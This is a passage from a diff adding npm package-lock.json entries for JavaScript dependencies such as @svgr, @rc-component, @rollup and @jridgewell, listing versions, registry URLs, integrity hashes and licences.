+ }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.11", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.11.tgz", + "integrity": "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz", + "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@monaco-editor/loader": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", + "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==", + "license": "MIT", + "dependencies": { + "state-local": "^1.0.6" + } + }, + "node_modules/@monaco-editor/react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", + "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==", + "license": "MIT", + "dependencies": { + "@monaco-editor/loader": "^1.5.0" + }, + "peerDependencies": { + "monaco-editor": ">= 0.25.0 < 1", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-scope": "5.1.1" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.17", + "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.17.tgz", + "integrity": "sha512-tXDyE1/jzFsHXjhRZQ3hMl0IVhYe5qula43LDWIhVfjp9G/nT5OQY5AORVOrkEGAUltBJOfOWeETbmhm6kHhuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-html": "^0.0.9", + "core-js-pure": "^3.23.3", + "error-stack-parser": "^2.0.6", + "html-entities": "^2.1.0", + "loader-utils": "^2.0.4", + "schema-utils": "^4.2.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 10.13" + }, + "peerDependencies": { + "@types/webpack": "4.x || 5.x", + "react-refresh": ">=0.10.0 <1.0.0", + "sockjs-client": "^1.4.0", + "type-fest": ">=0.17.0 <5.0.0", + "webpack": ">=4.43.0 <6.0.0", + "webpack-dev-server": "3.x || 4.x || 5.x", + "webpack-hot-middleware": "2.x", + "webpack-plugin-serve": "0.x || 1.x" + }, + "peerDependenciesMeta": { + "@types/webpack": { + "optional": true + }, + "sockjs-client": { + "optional": true + }, + "type-fest": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + }, + "webpack-hot-middleware": { + "optional": true + }, + "webpack-plugin-serve": { + "optional": true + } + } + }, + "node_modules/@rc-component/async-validator": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@rc-component/async-validator/-/async-validator-5.1.0.tgz", + "integrity": "sha512-n4HcR5siNUXRX23nDizbZBQPO0ZM/5oTtmKZ6/eqL0L2bo747cklFdZGRN2f+c9qWGICwDzrhW0H7tE9PptdcA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.24.4" + }, + "engines": { + "node": ">=14.x" + } + }, + "node_modules/@rc-component/color-picker": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@rc-component/color-picker/-/color-picker-2.0.1.tgz", + "integrity": "sha512-WcZYwAThV/b2GISQ8F+7650r5ZZJ043E57aVBFkQ+kSY4C6wdofXgB0hBx+GPGpIU0Z81eETNoDUJMr7oy/P8Q==", + "license": "MIT", + "dependencies": { + "@ant-design/fast-color": "^2.0.6", + "@babel/runtime": "^7.23.6", + "classnames": "^2.2.6", + "rc-util": "^5.38.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/context": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@rc-component/context/-/context-1.4.0.tgz", + "integrity": "sha512-kFcNxg9oLRMoL3qki0OMxK+7g5mypjgaaJp/pkOis/6rVxma9nJBF/8kCIuTYHUQNr0ii7MxqE33wirPZLJQ2w==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "rc-util": "^5.27.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/mini-decimal": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rc-component/mini-decimal/-/mini-decimal-1.1.3.tgz", + "integrity": "sha512-bk/FJ09fLf+NLODMAFll6CfYrHPBioTedhW6lxDBuuWucJEqFUd4l/D/5JgIi3dina6sYahB8iuPAZTNz2pMxw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.0" + }, + "engines": { + "node": ">=8.x" + } + }, + "node_modules/@rc-component/mutate-observer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@rc-component/mutate-observer/-/mutate-observer-1.1.0.tgz", + "integrity": "sha512-QjrOsDXQusNwGZPf4/qRQasg7UFEj06XiCJ8iuiq/Io7CrHrgVi6Uuetw60WAMG1799v+aM8kyc+1L/GBbHSlw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.0", + "classnames": "^2.3.2", + "rc-util": "^5.24.4" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/portal": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@rc-component/portal/-/portal-1.1.2.tgz", + "integrity": "sha512-6f813C0IsasTZms08kfA8kPAGxbbkYToa8ALaiDIGGECU4i9hj8Plgbx0sNJDrey3EtHO30hmdaxtT0138xZcg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.0", + "classnames": "^2.3.2", + "rc-util": "^5.24.4" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/qrcode": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@rc-component/qrcode/-/qrcode-1.1.1.tgz", + "integrity": "sha512-LfLGNymzKdUPjXUbRP+xOhIWY4jQ+YMj5MmWAcgcAq1Ij8XP7tRmAXqyuv96XvLUBE/5cA8hLFl9eO1JQMujrA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.24.7" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/tour": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/@rc-component/tour/-/tour-1.15.1.tgz", + "integrity": "sha512-Tr2t7J1DKZUpfJuDZWHxyxWpfmj8EZrqSgyMZ+BCdvKZ6r1UDsfU46M/iWAAFBy961Ssfom2kv5f3UcjIL2CmQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.0", + "@rc-component/portal": "^1.0.0-9", + "@rc-component/trigger": "^2.0.0", + "classnames": "^2.3.2", + "rc-util": "^5.24.4" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@rc-component/trigger": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@rc-component/trigger/-/trigger-2.3.1.tgz", + "integrity": "sha512-ORENF39PeXTzM+gQEshuk460Z8N4+6DkjpxlpE7Q3gYy1iBpLrx0FOJz3h62ryrJZ/3zCAUIkT1Pb/8hHWpb3A==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.23.2", + "@rc-component/portal": "^1.1.0", + "classnames": "^2.3.2", + "rc-motion": "^2.0.0", + "rc-resize-observer": "^1.3.1", + "rc-util": "^5.44.0" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@remix-run/router": { + "version": "1.23.2", + "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.2.tgz", + "integrity": "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", + "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.10.4", + "@rollup/pluginutils": "^3.1.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-node-resolve": { + "version": "11.2.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz", + "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "builtin-modules": "^3.1.0", + "deepmerge": "^4.2.2", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/plugin-replace": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", + "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "magic-string": "^0.25.7" + }, + "peerDependencies": { + "rollup": "^1.20.0 || ^2.0.0" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/pluginutils/node_modules/@types/estree": { + "version": "0.0.39", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/pluginutils/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@rtsao/scc": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz", + "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.16.1.tgz", + "integrity": "sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/@sinclair/typebox": { + "version": "0.34.49", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.49.tgz", + "integrity": "sha512-brySQQs7Jtn0joV8Xh9ZV/hZb9Ozb0pmazDIASBkYKCjXrXU3mpcFahmK/z4YDhGkQvP9mWJbVyahdtU5wQA+A==", + "dev": true, + "license": "MIT" + }, + "node_modules/@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/@surma/rollup-plugin-off-main-thread": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", + "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "ejs": "^3.1.6", + "json5": "^2.2.0", + "magic-string": "^0.25.0", + "string.prototype.matchall": "^4.0.6" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz", + "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz", + "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz", + "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz", + "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz", + "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz", + "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz", + "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==", + "dev": true, + "license": "MIT", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1", + "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0", + "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0", + "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0", + "@svgr/babel-plugin-transform-svg-component": "^5.5.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/core": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz", + "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@svgr/plugin-jsx": "^5.5.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz", + "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.12.6" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz", + "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.12.3", + "@svgr/babel-preset": "^5.5.0", + "@svgr/hast-util-to-babel-ast": "^5.5.0", + "svg-parser": "^2.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz", + "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cosmiconfig": "^7.0.0", + "deepmerge": "^4.2.2", + "svgo": "^1.2.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/webpack": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz", + "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/plugin-transform-react-constant-elements": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@svgr/core": "^5.5.0", + "@svgr/plugin-jsx": "^5.5.0", + "@svgr/plugin-svgo": "^5.5.0", + "loader-utils": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@testing-library/dom": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": 